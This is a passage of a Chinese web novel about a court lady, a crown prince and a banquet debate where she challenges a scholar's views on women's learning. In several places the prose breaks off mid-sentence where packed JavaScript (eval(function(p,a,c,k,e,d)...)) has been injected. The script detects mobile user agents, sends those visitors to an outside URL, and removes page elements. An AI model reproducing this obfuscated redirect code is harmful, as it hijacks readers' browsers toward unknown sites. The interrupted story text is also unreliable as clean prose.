既如此,与其让矛盾暗流涌动,不如由他亲自开口。向皇后明确表明自己的心意,将以往的纷争暂且搁置,待将来太子妃真正起势之时,再从长计议,这或许才是眼下最为稳妥的解决之道。 天色微亮,赵煜已经收拾妥当,披上一身朱色朝服,整理好衣冠,缓步走出东宫。早朝如常,群臣山呼礼毕,官家屏退百官,赵煜随着人群退出殿外,目光扫过人群,很快落在了国子监祭酒苏廷章的身上。他向随侍微微示意,随后快步上前,将人拦下。 “殿下?”苏廷章见状,忙上前作揖行礼。 赵煜唇边浮现一抹淡淡的笑意,目光落在苏廷章身上,心中不由得想起叶斯年的评价——“谪仙一般的人物”。他摇了摇头,随后开口道:“廷章,稍待片刻,今日有事与你商议。” 苏廷章连忙应下,待四下无人后,才问道:“殿下,何事如此急切?” 赵煜整理了一下袖口,语气带着几分随意:“我想借国子监的论学之名,顺带为二皇子践行。你看如何?” 苏廷章微微一怔,眼中掠过一丝迟疑:“二殿下即将赴任,践行一事,廷章自当竭力操办,又岂能‘顺带’?” 赵煜闻言,唇角浮现一抹淡笑,语气带着一丝从容:“若如此,那便说是为二皇子践行,顺带论学。廷章不必担心,这些事无非是召集几个人坐在一起,来来去去都是那几位熟面孔。何必搞得太过繁琐?” 苏廷章沉默片刻。赵煜目光微微一沉,但脸上的笑意依旧未减:“官家素来倡导节俭,若同一拨人连着办两天会,岂非浪费人力财力?你我各拟一份名单,估摸着十有八九都一致,节省下来的时间和银两,反倒能更好地体恤民生。” 苏廷章听罢,只得颔首答应:“如此,臣回去便着手安排。” 赵煜点头,轻轻拍了拍苏廷章的肩膀,转身离去。 苏廷章目送着赵煜的身影渐行渐远,轻轻摇头,带着几分无奈笑道:“儿女情长,也不过是顺带吧。”随即,他转身朝国子监而去,神色间却渐渐染上了几分凝重。 宁安王府。 叶斯年接到信时,心中已有几分预感,知道这信来得绝非寻常。她记得上次一大早送来的信,说的是杂技班的班主意外身亡一事。虽然此事最终不了了之,但牵扯出的花月阁背后仍有诸多未解的问题,至今让她头疼不已。 她缓缓拆开信,眉头微蹙。信中,花月阁的东家寥寥数语,尽是表面恭维之词,却让她心头一寒。果然,花月阁已经察觉到她与赵煜都在暗中调查他们。随信附上的赵煜手书,更令她提高了警觉。 “将此信交予叶太尉,简要说明情况。我暂时不会与令尊直接接触,待日后找机会详谈。随信附赠一份小礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698885|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物,安神助眠,请郡主笑纳。国子监论学暨二皇子践行之日,务必佩戴。” “礼物?还有什么礼物?” 瑾年歪着头,疑惑地说道:“没有啊,没见什么其他东西,难道是卫珩忘了?我去问问,他好像还在后门呢。” 说完,她便蹦蹦跳跳地跑了出去。叶斯年望着她远去的背影,不由叹道:“年轻真好。” 窗外落叶纷飞,叶斯年的心绪飘回了上一世某个秋天。这时,青枝恰好走进屋来。 “青枝,”叶斯年忽然开口,“你可还记得去年上元节?” 青枝微微一愣,随即迟疑道:“郡主是想问昨夜那位公子?” 青枝当时有意避开,并未听清两人交谈的具体内容,但她的只言片语却让叶斯年的记忆逐渐清晰,在脑海中勾勒出去年上元佳节的画面——那是她与苏廷章初遇的时刻…… 去岁上元,我偷偷跑出了叶府,遇见了一位谪仙般的公子。 街上张灯结彩,流光溢彩,焰火如流萤般点缀夜空,映得天地如昼。人声鼎沸,欢笑声、叫卖声此起彼伏。扑面而来的节庆氛围让我心中不由一阵雀跃,连步伐都轻快了几分。 我和青枝买了一盏天灯,满心欢喜地想亲手放飞至夜空。然而,我们折腾了许久,还是不得其法。无奈之下,只得站在瑶川边上,看着一盏又一盏天灯被点燃,乘着夜风缓缓升空,渐渐融入苍穹的寂静中。远处流水潺潺,灯影倒映在波光粼粼的水面上。我心中既有向往,又平添几分懊恼,不知如何是好。 就在我一筹莫展时,他出现了。 他的身影如一缕清风般飘然而至。一袭青衫衬得他身姿修长,眉目清隽,剑眉微挑,双眸如秋水般澄澈透亮,神色间透着淡然的从容。他鼻梁高挺,如山川之骨;唇角微扬,似春风拂过桃枝,带着一抹不染尘埃的温雅笑意。他美得如同夜空中的皎月,让周遭的一切都黯然失色。那一刻,我忍不住想起信中阿姐提到的“如花似玉的姑娘”,心里暗笑,这位公子可真是如花似玉。 我一时间怔住了,仿佛因他的出现,周围的喧嚣都悄然隐去,唯余他清隽如画的身影。 他显然注意到了我的窘迫,微微一笑,缓步走近,声音温润如春水:“这位娘子,可需在下帮忙?” 我怔怔地点了点头,将天灯递给他,莫名地感到一阵慌乱。 他接过天灯,动作熟练地点燃灯芯,微微托起天灯,用手护住风口,举止间干净利落,优雅从容。火光映在他的侧脸上,为他的轮廓染上了一层柔和的光晕。 “娘子可有什么心愿?”他抬头看着缓缓升起的天灯。 “心愿?”我愣了一下,仰头看着天灯逐渐升入夜空。 他轻轻一笑:“娘子急着放天灯,莫非心中有未了的愿望?”他的笑容如冰雪初融时的第一缕春风,拂过人间,润物无声。 许是心愿太多,一时竟不知该说什么。我仰头望着那盏渐行渐远的天灯,半边天幕被满天灯火映得明暗交错。我忍不住再次转头看向他——那清隽如画的身影仿佛沐着一层夜色的微光,自有风华,令周遭的喧嚣都为之黯然。他眉宇间透着一抹超然的清逸,似乎瑶京的霓虹繁华,不过是过眼云烟。 那一刻,我竟忘了许愿,也忘了问他究竟是何许人。只记得他的背影渐行渐远,隐没在瑶京上元佳节的万千灯火中。 临行前,他回眸一笑,眉目间尽是温润从容:“在下祝娘子,所愿皆成。” 25. 论学在即 宁安王府。 瑾年一路小跑着穿过宁安王府的回廊,直奔后门。虽称“后门”,却仍在内院之中,门外是一条幽静的巷子,巷口还有一道门,出了门才是外街。卫珩正站在巷子口整理行装,抬头便见瑾年怒气冲冲地跑来。 “卫护卫,你怎地如此粗心?”瑾年杏眼一瞪,语气颇为不满,“这等紧要之物竟也能忘了带?” 卫珩怔了一下,旋即从怀中摸出一个小包,略带几分尴尬地说道:“确是我一时疏忽了。这物件甚为重要,还请速呈郡主。” 瑾年杏眼圆睁,满脸的不忿:“好一个粗心人!若不是我寻着,岂不叫阿姐误以为是我藏了去?” 卫珩张了张嘴,脸憋得发红,急忙说道:“是我疏漏在先,还望郡主恕罪。还请二娘子快些拿去呈交郡主,若是郡主有要回的话,我在此稍候便是。” 瑾年却不急着离开,眯起眼看着他,语气中透着几分戏谑:“昨夜你来府上,可是为这件东西?怎地如此鬼鬼祟祟?” 卫珩闻言,登时一怔,随即神色微变,半晌才问道:“你……你是如何知道的?” 瑾年扬手晃了晃两根手指,神秘兮兮地说道:“我眼力好啊,看得清楚远近。不过你放心,府中无人察觉。” 卫珩这才松了一口气,可脸上却不由自主地染上几分红意。他的思绪回到了昨夜的情形。本是奉命替殿下潜入王府把风,一切都进行得悄无声息,原以为不会有人察觉。谁知殿下才刚现身,叶太尉便从另一边的庭院缓步而来。 叶太尉站定在庭中,仰望着一轮清冷的明月,但眼神却不时投向郡主院落的方向。他随后遣散了府中的护卫,整座庭院陷入一片寂静之中。太他在庭中站了许久,才缓缓朝郡主的院落方向走去,脚步有意放得极重。 卫珩不敢轻举妄动,只得伏身于附近屋顶,屏息隐匿。偏偏,他正好伏在了瑾年的屋顶上。 他看见瑾年正在灯下做花灯,动作娴熟而专注。卫珩本想转移目光,却鬼使神差地盯着那场景看了许久。她修长的手指灵活地穿梭于花灯骨架之间,那一刻,他竟有些看入了神。 待反应过来时,他不由得暗骂自己不成体统。半夜趴在屋顶上盯着人家姑娘,跟殿下翻墙入室的“浪荡”行径又有什么区别?他明明还劝过殿下说此举不合规矩的!卫珩想到这里,愈发觉得脸颊发烫。 思绪跑得飞快,他完全没听清瑾年接下来说了什么。只见她站在原地笑得俏皮,眉眼间透着一丝狡黠。 “每次阿姐出门,都是你送她回来,这想必是太子的意思吧?”瑾年拖长了语调,眼中带着些许狡黠,“那昨晚你来……” 话未说完,卫珩立刻回过神,急忙打断她:“别说出口!你有千里眼,别人就有顺风耳!” 瑾年看着他一脸紧张的模样,忍不住笑出声来,漫不经心地“哦”了一声,随后转身离去。卫珩抬手揉了揉额角,低声叹道:“真不该多此一举,和她说话……” 叶斯年接过瑾年匆匆递来的彩色琉璃香囊,低头细细端详。香囊圆润无瑕的弧度,精确得仿佛现代工艺品,而镂空的缠枝花纹却透着浓厚的手工质感与一丝灵动的气韵。细看那纹路末尾微微勾起的弧度,与那只琉璃笔的工艺如出一辙,应是出自同一匠人之手。这世间能将琉璃工艺烧制和打磨得如此精妙者,定是寥寥无几。 青枝看得有些出神,忍不住感叹道:“郡主,太子殿下对您可真是用心,送信总不忘捎上一件礼物。” 叶斯年举着琉璃香囊,在阳光下细细端详:“这东西,定然另有深意。”她心中暗忖,既然开诚布公地谈过,也言明要做互相信任的盟友,便姑且信他一回。她解下身上佩戴的玉佩,将其小心揣入怀中。这枚样式别致的司南玉佩,是李清容的遗物,当年她曾郑重嘱咐随身佩戴。虽不明其意,但叶斯年始终视为寄托,未曾片刻离身。 国子监论学暨二皇子践行,一边是前任长安府知州苏廷章,一边是现任府尹二皇子赵渊。苏廷章被调离长安府,恐怕正与花月阁新楼开业的文书批复有关。长安府距瑶京不过三日车马,是大沅除瑶京外最繁华的城市,山清水秀,歌舞升平,且规制宽松,不似瑶京处处受限。一般而言,皇子们都对被调离京都心存忌讳,但若是长安府,情况便大为不同。苏廷章自长安府归来后便连升两级。 如此阵容,这场论学怎么看都透着几分修罗场的意味。既然如此,也不能让全场都只是男人在唱独角戏。她几乎可以想象得到,若现场只有她一位女子,恐怕她便会被安排坐在屏风后,听着众人恭维几句——那些老学究,不管懂不懂,总要发表几句高论,然后话锋一转,绕到叶绍身上,再用那些陈词滥调恭维一番当朝太尉。这些人能想到的最高级的赞美,大概就是“听闻郡主尚未许配,必能嫁得良人”。如此情形,光是想想,便让她觉得无趣至极。 上次是带上了苏云卿,这回索性把各家的姑娘们也都邀上。东华郡主可是官家钦点,可与诸生一同参与论学的。但这场论学,又岂止是论学?不还有二皇子践行在即吗?若能让这些世家女子也在席间大放光彩,论出些真材实学来,就算有人祝她“嫁得良人”,她也权当耳旁风,忍一忍便是。至于如何找到合适的由头,这种事,还是交给赵煜去费心思吧。 她看着瑾年一双亮晶晶的眼睛,正目不转睛地盯着那琉璃球,灵机一动,便笑着问道:“你想不想去?” 瑾年连话都顾不上说,只拼命点头如捣蒜,眼睛眨个不停,满脸的期待几乎要溢出来。 她提笔开始回信:“务必将苏云卿和一众世家才女邀上。赵玥想必本来就会出席,但仍请确认。” 信还未写完,瑾年站在门口兴奋地喊道:“阿姐,你真的带我去论学吗?我都好久没见云卿了!” 叶斯年抬起头,满脸诧异地问:“你站这么远都能看到我写字?” 瑾年歪着头,一脸理所当然地说道:“这也不算远啊。阿娘总说看别人东西不礼貌,叫我低着头别乱瞧,可我这不是太高兴了,才偷偷瞟了一眼嘛!” 叶斯年听得哭笑不得,摇头叹道:“妹啊,你真是块宝。” 青枝正要接过信笺,叶斯年却摆了摆手,将信递给瑾年,笑着说道:“快去快回,我还有要事问你。”瑾年欢快地应了一声,转身便轻快地跑了出去。 叶斯年看着她那兴高采烈的模样,心中感慨:想必是周氏最近放松了对她的管束,才有了这般自由活泼的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秋日的阳光在庭院间缓缓流动,不知不觉已近黄昏。之后的几日,叶斯年未曾出门,专心筹备论学的事宜。她将可能出现的各种场景都假设了一遍,细细思量如何通过对话引人入套,最终将话题巧妙地引向各家女子身上。虽对即将前来论学的国子监博士和翰林院学士并无了解,但这些老学究、男学士,大抵也逃不出那些陈词滥调。 与青枝推敲几番之后,叶斯年将初步的计划写入信中,遣人送往浮生堂递给赵煜。 几日后,皇家园林中一场别开生面的筵席拉开了帷幕。 此处为大沅皇室御用园林,共三山五园。今日的践行宴设于松风苑,宴后众人将稍作休憩,再驱车前往鸣翠涧,举行论学。听泉园以其清雅幽静、曲水流觞而闻名,正是吟诗论道的绝佳场所。 初秋凉风轻拂,园中青翠的树影间点缀着满目的红绸金幡。翰林学士、国子监博士、世家才子才女齐聚,简直是男女老少,瑶京城凡是叫得上名号的文人雅士都纷纷到场了。 众人初至,便有几位老学究低声议论起此次筵席不同寻常。东华郡主作为官家钦点之人参与论学已属罕见,怎的竟还有如此多娘子前来。好在赵煜安排得当,以帷幕隔开席间,男女分两侧入场,才让这几位学士少了几分窘迫,否则恐怕留下一句“不成体统”便拂袖而去。 赵煜、赵渊、赵玥齐聚,气氛陡然变得微妙起来。到场的学士们一时不知该站在哪一边,左右摇摆之间,显出几分踌躇。 此时,叶斯年携瑾年、青枝、兰芝三人步下马车。她们以秋日风景正好为由,步行入园。这郊外一片开阔,视野极佳,正好借用瑾年那双千里眼,稍稍探查一番。 26. 叶公好龙 瑾年昨日回来后,叶斯年细细问了她许多问题,发现她观察力极其敏锐。她并没有什么千里眼,只是观察力比常人细致很多。比如,隔着十米距离,她看人提笔写字,便大致推测出对方在写什么;看屋檐影子明暗的微妙变化,甚至是树梢的声音略有不同,就能察觉到有人经过,甚至还能判断出此人的轮廓和体型。再加上她的视力确实异于常人,别人远远看过去只见模糊的人影,她能看清对方的动作细节。 眼下几人下了马车,叶斯年、青枝和兰芝只能模糊分辨出人群中的男女与衣物颜色。而瑾年却不紧不慢地说道:“礼部侍郎李怀瑾刚下了马车。你们看,他左右脚尖时而朝左,时而朝右,分明是在犹豫是去太子那边,还是二殿下那边。” 叶斯年和青枝听得目瞪口呆,这人穿着长袍呢,她居然还能看出脚尖的动作?瑾年眨眨眼,满不在乎地解释:“看衣服摆动的幅度就能知道啊。”一旁的兰芝却一副见怪不怪的模样,甚至还淡定地提醒道:“娘子,你就不怕回去后姨娘责罚你?” 瑾年轻轻摆了摆手,带着一丝漫不经心的笑意说道:“昨日阿娘已经说得明白,以后阿姐和我都不必再拘着了。而且,阿娘近日要回润州省亲,少说也得半年,届时自然也顾不上我了。” 叶斯年听着这话,觉得有些蹊跷。她正想着,几人说话间已经走到了人群跟前,思绪被眼前的喧闹景象打断。 秋日正午,日头尚有些炽热,高大的银杏树在秋风中微微摇曳,将大片阳光筛得细碎,星星点点的光斑像碎了一地的黄金,铺满通往金风榭的小径。微风拂过,漫天银杏叶翩然起舞,勾勒出风的形状。湖畔的芦苇轻摇,枝头的红枫映在水中,燃起一片霞光。来宾已陆续到场,尚未入席,三三两两聚在门口,分成几个小团体低声交谈。 众人衣着华美,锦袍罗裳流光溢彩,刺绣的云纹和金线在秋日阳光下熠熠生辉。举止皆雅,或低语闲谈,或轻笑浅应,皆是从容得体之态。 正如瑾年所言,李怀瑾果然犹豫不决,待她们走近时才终于迈步朝太子走去。赵煜那边正巧看过来,叶斯年却掠过他的目光扫视一圈,见不着苏廷章的身影,便径直向赵玥走去。 苏廷章多半是先去准备论学的事宜了。他身为长安府前任知州,估计给现任府尹留下了不少难以处理的麻烦。前世每逢需要交接工作,她总难免心虚。一些小问题本想着一笔带过,却又担心真出纰漏被人发现,即便再努力规避责任,心里多少也有些不安。面对接替她工作的人,她是能避则避,不愿多接触。换做是她,眼下这种如同修罗场般的氛围,也会选择避开。 赵煜与赵渊素来不睦,虽未至于兵戎相见,但言语间针锋相对的场面却是屡见不鲜。官家赵义对这两位儿子的态度也颇为微妙,总是两边敲打一番。虽说赵煜更得皇帝赞赏,但赵渊手中的实权也不可小觑,明眼人都看得出赵渊去长安府是镀金去的。两人年纪相仿,至今都未婚配,大概是赵渊在观察赵煜意图与哪一家结盟吧。 赵玥更是大沅皇室中无人敢轻易招惹的存在。她身为大沅的长公主,乃是赵义登基前的一位侧夫人所生。赵义登基当年,赵玥生母染病去世,赵义将她挂到李皇后名下抚养,并加封为昭华长公主。同年,16岁的赵玥下嫁谢家。然而婚后不过数日,不知因何缘故,长公主自请和离,并出宫另设公主府。不久后,谢家因密谋刺杀太子被满门抄斩。 此后,长公主性情大变,只留下一句话:“我嫁过佞臣贼子,如今已是和离之身,再续姻缘恐有碍国运。”此言一出,谁还敢再提尚公主之事?赵义对这位长公主尤为宠爱,不仅赐予优渥的食邑与封赏,更破例允她私下经营商行。据传,如今长公主的财力可与名门世家比肩。 这些内容,都是昨日叶斯年从瑾年的口中听来的。 叶斯年朝赵玥行礼,赵玥的目光随即落在她腰间那枚别致的琉璃香囊上,微微一笑道:“东华郡主的香囊果然精巧别致。” 叶斯年莞尔一笑:“长公主殿下果然慧识独具。”她心中了然,原来赵煜竟是打着这样的主意。 赵玥点点头,带着些许打趣的语气说道:“就是看着有点眼熟。” 她并未多言,只是再次行礼,随后退到赵玥身侧。赵玥挥手屏退左右,虽然园林中依旧熙熙攘攘,但周围已无人靠近她们。 “慧识独具的恐怕不止是我吧。”赵玥看着赵煜的方向,悠悠地说道。 叶斯年抬眼瞥了赵煜一眼,神色平静中带着一丝意味深长的问候,也不知他是否收到了。随即,她开口说道:“天皇贵胄,自然都是人中龙凤。” 赵玥转过身,目光落在她身上,轻笑道:“从前可没见过你露面,叶太尉倒是把你藏得严严实实。这般才华,本宫倒好奇,你师从何人?” 叶斯年一时语塞,低垂着目光,略带犹豫地说道:“斯年自幼体弱,常居家中,先母时常教导,生前也留下不少书稿。” 赵玥闻言点头说道:“令堂确实是嘉和年间少见的奇女子。” 叶斯年心中一动。她对李清容所知不多,但从赵玥的语气中听出了明显的赞赏之意。只是这话细想起来,却又有些耐人寻味。她暗自思忖,还是得尽快弄清楚李清容与叶绍的过往,以免将来被人问起时无从作答。若是皇后问起,那才真是措手不及。 赵玥说罢,转身入席,叶斯年也随之落座。另一边,瑾年还在与苏云卿等几位娘子拉拉扯扯,直到察觉到叶斯年的目光落在她身上,才悠悠地回到叶斯年身侧。到场的几位娘子坐在一侧,果然是用屏风隔开,不过倒是能看见侧边主位上的三位皇子。 主位原本应是太子的,但他以二殿下践行为由,恭请赵渊上座。筵席过后,还安排了一场论学,众人将移步至园林中的另一处院落,届时便是由苏廷章主持了。 席间众人落座后,赵煜率先举杯,笑道:“今日聚此,一为送别二殿下,二为论学切磋,实在是一桩雅事。” 话音刚落,酒侍依次为众人斟满杯中酒,琴师随后抚琴,宴席正式开始。赵渊缓缓起身,手执酒杯,目光环视在座众人。他虽不如赵煜那般俊朗无双,也少了苏廷章的清隽雅致,但身上却自有一股天皇贵胄的从容与威仪。他的面容端正而朴实,眉宇间透着几分敦厚,与赵煜的锋芒毕露截然不同。此刻,他神色恭谦,举止得体,言辞简练,却不失分寸,对众人出席践行宴表达了由衷的感谢。举杯之间虽不显过多热情,却恰如其分地展现了皇子的风范。 叶斯年看着,心中不由感慨:“这才是太子该有的模样啊。”随即想到赵煜翻墙入室、一身黑衣鬼鬼祟祟的样子,不禁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698887|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在心里猛摇头。她目光微微一偏,向赵渊投去几分欣赏,偏偏这一幕被赵煜捕捉到了。 赵煜从座上起身,拂了拂衣袖,朗声说道:“前些日子,我有幸得赏宁安王府东华郡主的一首诗词,其意境高远,令人叹服。想必诸位在中秋夜亦有所耳闻。对此诗,我尤为倾心,特依清月吟的词牌稍作改动,亲自谱曲,并特邀瑶京最负盛名的唱词人前来献艺。今日良辰佳会,便以此曲为二哥践行,愿二哥在长安府一切顺遂。” 随着琴音缓缓流淌,唱词人的歌声清亮婉转,犹如流云穿过山涧。叶斯年侧耳倾听,感到既陌生又新奇,曲调中透着淡淡的离愁与寄托,在琴声的映衬下更添几分哀婉。 正当她还沉浸在方才那悠远的氛围里,翰林院的一位老学究却清了清嗓子,开始长篇大论。他先是略显做作地恭维了两位皇子和叶斯年的词作,随后话锋一转,将主题引向“女子天性柔顺,当以持家为本。才情聪慧虽可嘉,然终究不宜逾越本分。” 叶斯年听得眉头微蹙,眼底闪过一丝不耐与厌恶。赵玥敏锐地捕捉到她的神色,笑意盈盈地接话道:“魏公,这么多年过去了,您还是老样子。一见女子聪慧,便急着说她该嫁个好人。”看来这老学究的话另有所指,并非专针对叶斯年。但听在耳中,仍让人感到格外刺耳,简直是生理不适了。 旁边一位胖乎乎的娘子开口笑道:“魏公夸赞女子聪慧,倒像是叶公好龙。”此言一出,众娘子皆莞尔一笑。赵玥朗声笑道:“范家娘子此言妙哉。” 叶斯年侧头望去,认出正是中秋宴上那位身着粉色襦裙,轻叹“把酒问青天”的姑娘。那娘子察觉到她的目光,朝她顽皮地眨了眨眼。 老学究皱眉说道:“女子无才辩是德,只需学好《女诫》,明辨事理即可,无需过于聪慧。东华郡主才学如此出众,自当深谙其理。怎能将老夫比作叶公好龙?简直荒谬!” 赵煜放下酒盏,说道:“魏公此言差矣。若依此理,男子无才辩是德,也同样说得通。聪慧乃可贵之才,无男女之别,更何来‘无需’之说?况且,聪慧岂止在于明辨是非?” 老学究冷哼一声:“聪慧若无女德,只不过是徒增虚名罢了。” 叶斯年察觉赵玥似已有怒色,赵渊也正准备开口缓和局面,她连忙抢先发言。她抬眸向赵玥微微示意,语气平静却锋芒暗藏:“依殿下与先生之言,女子需先守《女诫》,再习琴棋书画,研读四书五经与经史子集,还须学有所成,方能称一句聪慧。这岂不是如同带着脚镣起舞?” 赵玥轻笑,目光从容地扫过席间众人,淡然说道:“就算真是带着脚镣起舞,在场能有斯年和云卿两位妹妹这般聪慧才情的男子,恐怕也是寥寥无几。” 老学究叹道:“东华郡主与云卿郡君才情卓绝,实乃世间少有。” 范家娘子闻言笑道:“世间能有机会学得《女诫》以外之事的女子本就寥寥,才情卓绝之人自然是稀罕了。” 见气氛渐渐紧张,赵渊开口打圆场:“今日乃是为吾践行的宴席,何不添些趣味?便以‘送别’为题,双方各献诗词,且看看哪边更胜一筹,如何?” 有人附和道:“如此甚好,评判该请谁?” 赵煜略一思索,笑道:“就请新任国子监祭酒苏廷章评判,最为公正。” 27.范家娘子 苏廷章并未显出半分意外,显然早有准备。他从容起身,拱手致意,语调温雅从容:“今日论学之题,以送别为意,作诗词以鉴赏文辞。诸位午歇之后,便可移步听泉园。” 苏廷章语气平和恭敬,既不抢风头,也不显敷衍,分寸拿捏得恰到好处。叶斯年隔着屏风看不清他的容貌,但他的举止依旧从容有度。今日的苏廷章不同于上元夜翩翩公子的形象,也与中秋夜月下清冷如松的气质略有差距。他显然刻意收敛了锋芒。然而,即便如此,一言一行间,仍掩不住与生俱来的风华。 他与苏云卿有几分相似。叶斯年侧过脸看了看身旁的苏云卿,这对兄妹容貌清雅如轻云遮月,气度潇洒若回风流雪。她想起赵煜的话——苏云卿此前一直是最有可能成为太子妃的人选,只因他本人无意与苏家结盟,而李家与皇后亦暗中掣肘,这才让局势变得胶着。她不禁好奇,苏云卿自己又是怎么想的呢? 赵煜的声音将她的思绪拉回:“如此甚好。既然苏祭酒已备下论学场地,诸位便先尽情享用筵席。今日到场的皆是久负盛名的学者与文人雅士,不妨共叙风雅,同享此番雅集,也祝二哥此行顺遂。我等虽身在瑶京,却也可与二哥千里共婵娟。” 众人纷纷附和,娘子们坐在屏风另一侧,既不被看见,也很难被听见。叶斯年索性保持沉默,懒得应和。屏风内的娘子们见东华郡主没什么动静,也纷纷安静下来。叶斯年这才注意到,今日到场的公主竟只有主宾席上的赵玥一人。 叶斯年端着茶盏,低头浅抿,心中暗自揣度:这位新任国子监祭酒,未必真是事前就定好了以“送别”为题。只怕是看出了翰林院那位魏姓老学究与赵玥之间的火药味,又加上她这位新晋郡主在一边拱火,这才临时找了个折中的题目。如果不顺着赵渊的安排,若再闹出些针锋相对的辩论,场面恐怕真要失控了。 她早已预料到,到场的几位翰林学士中,必定有人会借性别大做文章。才华出众的女子,从来难以获得真正的欣赏——有人表面钦佩她们的聪慧才情,却也不过称一句“不失闺阁风范”;更多人则对才女满怀警惕,认为才情与“女德”相悖。自古文人相轻,而若这出头之人恰是女子,更是容易引来口诛笔伐。 对于那些善于辞章、锋芒毕露的女子,他们或不屑,或暗中压制,总是以“女德”为名试图将她们束缚。究其根本,无非是为了捍卫他们对文化话语权的垄断罢了。 才华出众的女性,唯有作为家族文化修养的点缀,或是政治婚姻中的附加值,才能被视为“安全”的存在。而一旦她们敢于挑战既有规则,甚至大胆反驳,便会被视作威胁与冒犯。叶斯年方才的几句话,恐怕早已让对面的人感到“破防”。 她对此毫不意外,千百年来皆是如此。她与赵煜早就商定了对策——若有人提出性别问题,她会直接反驳,而赵煜无需刻意偏袒,只需将所有德行要求对等地套在男性身上,再淡淡一句“男子同理”。然而,她没料到,这番言辞交锋竟会发展到如此地步。既然一直以来都有清醒之人,又为何这局面千年不变? 那位范家娘子用“叶公好龙”比喻,倒是颇为有趣。这世间竟也有“叶公好龙”的典故? 太子既已发话,众人便开始举杯畅饮。到场的文人雅士纷纷轮番恭维赵渊,而赵渊也不失风度,举杯向在座的众人致谢,更特意向屏风后的诸位娘子表达敬意,礼数周全。 筵席散后,宫人安排诸位歇息。女子们被安排在松风苑的绮霞轩,这里位于银杏林一隅,窗外一片金黄,湖光山色尽收眼底,秋风穿堂而过,带来阵阵凉意。 瑾年趴在小案上,兴致勃勃地描绘着筵席上各位娘子的模样。叶斯年凑过去一看,惊觉瑾年的画作虽不似苏云卿那般的大家之作,却极为传神。画风潦草,有几分像现代漫画的手稿,却将人物的神态动作刻画得灵动逼真。叶斯年忍不住好奇问道:“上午你观察了些什么?快与我说说。” 瑾年抬头望向叶斯年,巧笑倩兮,美目盼兮。她娇声说道:“阿姐,今日到场的女子中,有些确实可以结交,但也有些……未必适宜。” “比如呢?别卖关子了。”叶斯年见她故作神秘,心想八成是察觉了什么人的小心思,想说却又有些不好意思。 瑾年正襟危坐起来:“云卿一直都很要强。今天说到‘送别’的时候,她就已经开始思考了。面上虽云淡风轻,但其实早已暗自较劲。她大概现在就在准备呢。” “范家娘子,尚书右丞范正清的小女儿,名叫范思醴,就是方才说‘叶公好龙’那位。她性格直爽,说话一向不藏着掖着。我估摸着她多半会来找你,方才就看她跃跃欲试了。” “还有韩婉,尚书左丞韩大人的女儿,就坐在李蔚华旁边。她一向冷淡疏离,对谁都是淡淡的模样,不过对太子殿下和苏廷章大人却另眼相看。这倒和她父亲韩韫之的性子如出一辙,倒也不足为奇。” 瑾年顿了顿,笑着补充道:“还有杨明煊,右仆射杨显甫的女儿。她自幼由祖父母抚养长大,杨家在她祖父那辈还是将门,她的性子也承袭了老将军的风骨,勇猛得很。方才魏公那番话,她攥着拳头,若不是她嫂嫂在旁边按着,只怕早就要开口反驳了。” 瑾年笑得眉眼弯弯,继续说道:“她旁边那位命妇,就是她嫂嫂李书华,李蔚华的长姐。至于李蔚华,这人就显得有些复杂了。她一向很少与世家娘子来往,若非今日太子殿下亲自邀约,只怕也不会出席。方才对在场众人的对话,他似乎带着几分不屑,仿佛嫌吵闹,但我瞧着他眼中似有思索,或许也在琢磨着要开口说点什么。” 正说着,门外传来一阵急促的脚步声,接着就听到一个爽朗的声音:“郡主可醒着吗?” 兰芝开了门,一位身着浅紫襦裙的胖乎乎姑娘笑着走了进来:“郡主,我是范思醴,思念的思,醴泉的醴,人如其名,爱吃酒。家父是尚书右丞范正清。” 叶斯年连忙起身,笑着说道:“思醴快请坐。” 范思醴爽朗地坐下,神情热切,眼中带着几分欣赏:“郡主,中秋夜我就想跟你聊聊了。今日筵席上你那番对答,真是说到我心坎里去了,痛快极了!” 叶斯年笑道:“你的‘叶公好龙’也是一语中的,畅快得很。” 范思醴咧嘴一笑,又接着说道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她追求这地位,是为了推动更多改变。在这个时代,身份与地位是行事的必需。而且,太子与她同来自一个世界,这是无可替代的纽带。然而,若抛开这些理由呢?如此尊贵的身份、巨大的权力、丰厚的财富,再加上太子优越的容貌与气度,对她始终关怀备至,她真的能做到完全无动于衷吗? 她起身说道:“思醴,我改天一定邀你吃酒。” 赵煜曾嘱咐她不要与苏家牵扯,但叶斯年心中仍存几分执念,总想弄清苏云卿的真实想法。如果苏云卿真要较劲,苏家又在这件事上强硬插手,那她和赵煜势必也会将棋局算到苏云卿身上。这是她极力想要避免的局面,因此,她决定亲自去探一探苏云卿的态度。 瑾年那边正与思醴聊得热络,叶斯年带着青枝出了门,正准备前往苏云卿歇息的厢房,却被卫珩拦住了。 